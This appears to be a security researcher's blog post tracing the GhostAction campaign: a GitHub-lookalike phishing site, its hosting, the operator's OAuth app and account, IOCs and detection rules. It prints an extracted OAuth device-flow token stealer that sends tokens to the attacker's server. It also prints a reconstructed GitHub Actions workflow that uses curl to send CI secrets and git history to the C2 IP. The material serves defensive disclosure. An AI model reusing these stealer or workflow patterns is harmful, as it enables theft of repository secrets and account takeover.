Tracing GhostAction from email to operator

On October 10, 2026 I received a phishing email from security@my-github[.]com, registered 29 hours earlier. I pulled the origin IP, browsed to it with a test token, and captured the phishing page before the server blocked me. In the page source: an OAuth stealer with a hardcoded Client ID pointing straight to the operator’s GitHub account.

The infrastructure belongs to GhostAction: a supply-chain campaign that injects malicious GitHub Actions workflows into public repos to steal CI/CD secrets, active since September 2025 across 3,000+ repositories. The operator account and OAuth app behind this wave had not been publicly documented.

The email

Near-perfect clone of a GitHub security alert. Same Primer CSS, same layout. Two tells: the sender domain and the 29-hour registration.

Phishing email received from security@my-github.com

DetailValueNotes
Sendersecurity@my-github[.]comRegistered Oct 9 at Dynadot
Email authnone configuredno SPF record, no DKIM selectors, no DMARC policy (only TXT is a Google site verification)
Claimed locationMoscow, RussiaFabricated for urgency
Claimed IP95.176.135.120Slovenian residential (SIOL), rDNS: BSN-176-135-120.dynamic.siol.net
Tracking URLhxxps://my-github[.]com/YbsnK0bU8-char token per recipient
Domain age29 hours at time of emailsee operator timeline below

The infrastructure

my-github[.]com sits behind Cloudflare. Origin: 193[.]32[.]204[.]199. Mail relay: 193[.]32[.]204[.]3.

Hosting infrastructure

my-github[.]com hosting infrastructure The mail relay at .3 sends the phishing email; the victim's click goes through Cloudflare to the origin at .199, which hosts the phishing kit and the C2. Both servers sit in one /24 registered to Vigilant Cyber SAS and announced by AS153622 (Madina IT). 193[.]32[.]204[.]0/24 · "VIGILANT CYBER SAS" EMAIL CLICK ORIGIN ANNOUNCED BY TARGET Victim inbox link /<8-char token> DOMAIN my-github[.]com Dynadot · Cloudflare MAIL RELAY .3 Exim 4.97 · FASTPANEL PHISHING + C2 .199 kit 443 · sink 8443 AS153622, Madina IT announces the /24 · APNIC, Bangladesh my-github[.]com hosting infrastructure The mail relay at .3 sends the phishing email; the victim's click goes through Cloudflare to the origin at .199. Both servers sit in one /24 registered to Vigilant Cyber SAS and announced by AS153622 (Madina IT). 193[.]32[.]204[.]0/24 EMAIL CLICK ORIGIN ANNOUNCED BY TARGET Victim inbox link /<8-char token> DOMAIN my-github[.]com Dynadot · Cloudflare PHISHING + C2 .199 kit 443 · sink 8443 MAIL RELAY .3 Exim 4.97 · FASTPANEL AS153622, Madina IT announces the /24 · BD
Ports 80 and 3000 on .199 are the GhostAction C2 receivers; the phishing kit and its token sink share the same host.

Phishing server: 193[.]32[.]204[.]199

RIPE WHOIS: allocated to “Vigilant Cyber SAS” at “12 Rue de la Securite, Paris” (literally “12 Security Street”). The IP block was sub-allocated by Hop Bilisim Teknolojileri A.S., a Local Internet Registry in Istanbul that manages 136 RIPE objects and routinely sub-allocates /24 blocks to shell organizations. Transit via M247 (Romania), peered through Finland (hence GeoIP resolving to Helsinki).

AbuseIPDB: 100% abuse confidence, 5,007 reports, 957 distinct reporters.

193[.]32[.]204[.]199 port behavior

Port Service Notes
22 OpenSSH 8.9p1 Ubuntuopen password + pubkey auth enabled
80 C2 receiverfiltered RST from all sources. Paths: /?c=monami, /?c=new
443 Cloudflare-proxiedopen Phishing site via Cloudflare
3000 C2 APIfiltered RST from all sources. Path: /api/workflow/receive
8080 Apache 2.4.52open /server-status public: start time Oct 9 12:29 UTC, about 3,580 requests
8443 Python BaseHTTPServersink Answers "ok" to every path, CORS wildcard. Token sink
8900 unknownfiltered Connection reset after handshake

Mail relay: 193[.]32[.]204[.]3

Runs FASTPANEL with Exim 4.97. SMTP TLS certificate:

SMTP TLS certificate on .3
C=EE, ST=Tallinn, L=Tallinn, O=CompanyName, OU=User, CN=etc
Issued: 2026-09-04

Tallinn, not Paris. Issued September 4, same day as the FASTPANEL self-signed cert. Different SSH host keys on .199 and .3 confirm separate VMs.

Subnet co-tenants

slon7[.]com on .7-.9: crypto-drainer (suspended). mega[.]reviews on .10-.11: parked. Phishing + C2 at .199, mail relay at .3.

The phishing kit

Browsed to the phishing URL with a test token and saved the page before the server blacklisted my IP.

PropertyValue
Size51,759 bytes
FrontendReact + GitHub Primer CSS, all themes
Feature flags100+ data-feature-* attributes (matching real GitHub)
BackendPython 3.10 BaseHTTPServer (from server headers)
FrameworkCustom (not Evilginx or Modlishka)
Stealer script3,334 bytes, 13th <script> tag

The kit splits across three subdomains: github.my-github[.]com proxies the login (79 requests), api.my-github[.]com proxies API calls, and collector.my-github[.]com receives exfiltrated data (CIRCL Lookyloo capture). The login form POSTs to /session on the proxy, which relays to real github.com (adversary-in-the-middle). The victim authenticates against the real backend, MFA included.

After login, the stealer script polls the DOM for the victim’s avatar to confirm authentication, waits 3 seconds, then abuses the OAuth device flow. The kit automates the entire flow inside the victim’s already-authenticated session:

Extracted token stealer (script 13, 3334 bytes)
var CID = "Ov23ctrqCqZ79UaYKwyq";
// Step 1: request device code
fetch("/login/device/code", {
method: "POST",
body: "client_id=" + CID + "&scope=repo+workflow+read:org",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json"
},
credentials: "same-origin",
})
// Steps 2-4: auto-fill user_code, auto-approve authorization
// (victim's authenticated session handles consent silently)
// Step 5: exfiltrate token to C2
fetch("hxxps://my-github[.]com:8443/t?value=" + td.access_token
+ "&user=" + encodeURIComponent(vu), { mode: "no-cors" });

Attack chain

01 Credential harvest

AiTM proxy at my-github[.]com captures real GitHub login, MFA included. Victim authenticates against the real backend through the proxy.

02 OAuth token theft

Injected script triggers device flow (Ov23ctrqCqZ79UaYKwyq), auto-fills code, auto-approves consent.
Scopes: repo workflow read:org

03 Token exfiltration

Token + username sent to my-github[.]com:8443/t via no-cors GET (fire-and-forget). Token survives password resets and session revocations.

The granted scopes are enough to push workflows like security-audit.yml, which send CI/CD secrets to the same server. I did not observe a phished token being used this way.

The only way to kill these tokens is to revoke the OAuth app itself.

Cloaking

Three layers of visitor filtering:

  • No tracking token: redirect to github.com with no-referrer
  • Tor exit node: same redirect
  • Repeated requests: connection dropped entirely
Default response (non-victims)
<html><head>
<meta name='referrer' content='no-referrer'>
<script>top.location.href='https://github.com';</script>
</head></html>

The operator

The Client ID hardcoded in the stealer script (Ov23ctrqCqZ79UaYKwyq) is a registered GitHub OAuth App. Looking it up on GitHub’s authorization page reveals both the app and its owner:

Operator account

ookefokzkoed

ID
327227770
Created
2026-09-10
Activity
1 private contribution (mid-September)
Public repos
0
Profile
blank (no name, bio, email, location)
Avatar
auto-generated identicon
OAuth App

CI Notifier Ov23ctrqCqZ79UaYKwyq

Owner
ookefokzkoed
Scopes
repo workflow read:org
Callback
devtools-ci[.]com (not registered)
Created
about 2026-10-07 ("3 days ago" on Oct 10)
Users
fewer than 10 (Oct 10)
Verified
"Not owned or operated by GitHub"

OAuth consent page showing CI Notifier by ookefokzkoed

Callback devtools-ci[.]com has never been registered (no DNS, no cert on crt.sh). The app was still issuing device codes at 15:49 UTC, over an hour after my email.

Attribution signals

The username ookefokzkoed is a keyboard mash: no dictionary words, no leet-speak pattern, just fingers hitting keys fast to generate a throwaway handle. But which keys depends on the keyboard layout. The string contains z twice. On QWERTY, z sits on the bottom row, a deliberate reach away from the home keys. On AZERTY (France/Belgium), z is on the top row, position 2, right under the fingers. Every character in the username maps to the top or home row of AZERTY:

AZERTY (France/Belgium)

AZERTYUIOP
QSDFGHJKLM
WXCVBN

QWERTY (international)

QWERTYUIOP
ASDFGHJKL
ZXCVBNM
in username (top/home row) Z on QWERTY (bottom row)

On QWERTY, z is a bottom-row reach, inconsistent with home-row mashing. Keyboard layout as attribution is established: Mandiant’s APT1 report used RDP keyboard metadata across 1,905 sessions. This is weaker (username characters, not system metadata), but the same principle.

Infrastructure setup

Sep 4SMTP + FASTPANEL certs issued on .3 (Tallinn)
Sep 10GitHub account ookefokzkoed created
mid-SepSingle private contribution
~Oct 7OAuth app “CI Notifier” registered
~48h

Domain standup 3h in one sitting

CET 10:50 - 13:29 (late morning)

Oct 9, 09:50my-github[.]com registered at Dynadot
Oct 9, 11:07Cloudflare NS delegated
Oct 9, 11:59TLS certificate issued
Oct 9, 12:29Apache on :8080 started
~26h

Active phishing 29h after registration

CET 15:01 - 16:49 (afternoon)

Oct 10, 14:01Latest infected repo committed (mnfst/docs)
Oct 10, ~14:26Phishing email received
Oct 10, 15:49App still issuing device codes

Other francophone signals:

SignalValue
C2 parametermonami (“mon ami”, French)
Earlier wavecarte-avantage[.]com, impersonating SNCF (French railway)
RIPE registrationParis, “12 Rue de la Securite” (likely fabricated)
SMTP certTallinn (contradicts Paris)

No single signal is definitive. The francophone cluster (AZERTY, monami, SNCF) is the most consistent. The timeline activity window fits a European operator.

The campaign

193[.]32[.]204[.]199 has been active since at least August 2026 as GhostAction’s primary C2. The phishing page is an escalation from passive workflow injection to active credential theft.

GhostAction activity by period

Period Collector Reported scope Source
Sep 2-5, 2025 45[.]139[.]104[.]115 (plesk.page) 817 repos, 327 accounts, 3,325 secrets GitGuardian
Sep 9, 2025 carte-avantage[.]com 14 newly compromised repos GitGuardian (update)
Oct 2025 to Apr 2026 170[.]39[.]218[.]2, *.oast[.]fun intermittent GitGuardian
Aug 31 to Sep 30, 2026 193[.]32[.]204[.]199 (:80, :3000) 772 repos, 373 accounts; 2,577 secrets targeted, 26 confirmed exfiltrated GitGuardian
Oct 8, 2026 193[.]32[.]204[.]199 346 repos via two compromised maintainer accounts GitGuardian, StepSecurity, Socket
Oct 9-10, 2026 my-github[.]com on 193[.]32[.]204[.]199 GitHub phishing; OAuth app at fewer than 10 users OpenSourceMalware; this post

Wave 5 is self-sustaining: phishing steals OAuth tokens with repo+workflow+read:org. Tokens push malicious workflows. Workflows harvest secrets. Compromised accounts send more phishing.

The malicious workflow

The workflows pushed to infected repos (security-audit.yml, github_actions_security.yml) run on every push and pull request. They dump every CI/CD secret and the full git history to the C2:

Reconstructed security-audit.yml (from public reporting)
name: Security Audit
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # full git history
# exfil all env vars (includes GITHUB_TOKEN, API keys, deploy creds)
- run: |
curl -s "http://193[.]32[.]204[.]199/?c=monami" \
-d "$(env | base64)"
# exfil git history
- run: |
git log --all --oneline | \
curl -s "http://193[.]32[.]204[.]199/?c=new" -d @-
# structured exfil with repo identifier
- run: |
curl -s "http://193[.]32[.]204[.]199:3000/api/workflow/receive?inj=${{ github.repository }}" \
-d "$(env | grep -i secret | base64)"

Still infected

GitHub code search showing 158 infected repos

As of October 10, 193.32.204 path:*/security-audit.yml returns 158 files across public repos. Most recent: mnfst/docs, committed 14:01 UTC, 25 minutes before my email.

IOCs

Indicators of compromise

Operatorookefokzkoed (GitHub ID 327227770)
OAuth Client IDOv23ctrqCqZ79UaYKwyq
OAuth AppCI Notifier
Callbackdevtools-ci[.]com (non-existent)
Phishing domainmy-github[.]com (Dynadot, Cloudflare)
C2193[.]32[.]204[.]199 (AS153622 Madina IT, LIR: Hop Bilisim)
Mail relay193[.]32[.]204[.]3 (Exim 4.97, FASTPANEL)
Shell orgVigilant Cyber SAS, vigilantcyber[.]top
Workflowssecurity-audit.yml, github_actions_security.yml
Exfil (secrets)hxxp://193[.]32[.]204[.]199/?c=monami
Exfil (history)hxxp://193[.]32[.]204[.]199/?c=new
Exfil (structured)hxxp://193[.]32[.]204[.]199:3000/api/workflow/receive
Token exfilhxxps://my-github[.]com:8443/t?value=&user=
Collectorcollector.my-github[.]com

Detection

GitHub audit log query for organizations:

Audit log filter
action:oauth_application.access_granted oauth_application_name:"CI Notifier"

Check your local repos for malicious workflows:

Local detection
# search workflow file contents for the C2 IP
grep -r "193\.32\.204" .github/workflows/
# find the known malicious workflow filenames
find .github/workflows -name "security-audit.yml" -o -name "github_actions_security.yml"

Network indicators for SIEM rules:

Suricata-style signatures
alert http any any -> 193.32.204.199 any (msg:"GhostAction C2 monami"; content:"/?c=monami"; sid:2026101001;)
alert http any any -> 193.32.204.199 any (msg:"GhostAction C2 new"; content:"/?c=new"; sid:2026101002;)
alert tls any any -> any any (msg:"GhostAction phish domain"; tls.sni; content:"my-github.com"; sid:2026101003;)

Check your account

  1. Open github.com/settings/applications
  2. If “CI Notifier” or Ov23ctrqCqZ79UaYKwyq appears, revoke it
  3. Search your repos for security-audit.yml or github_actions_security.yml containing 193.32.204
  4. If found: delete the workflow, rotate every secret the token had access to

Sources

Campaign reporting

Infrastructure intelligence

Technical references

esc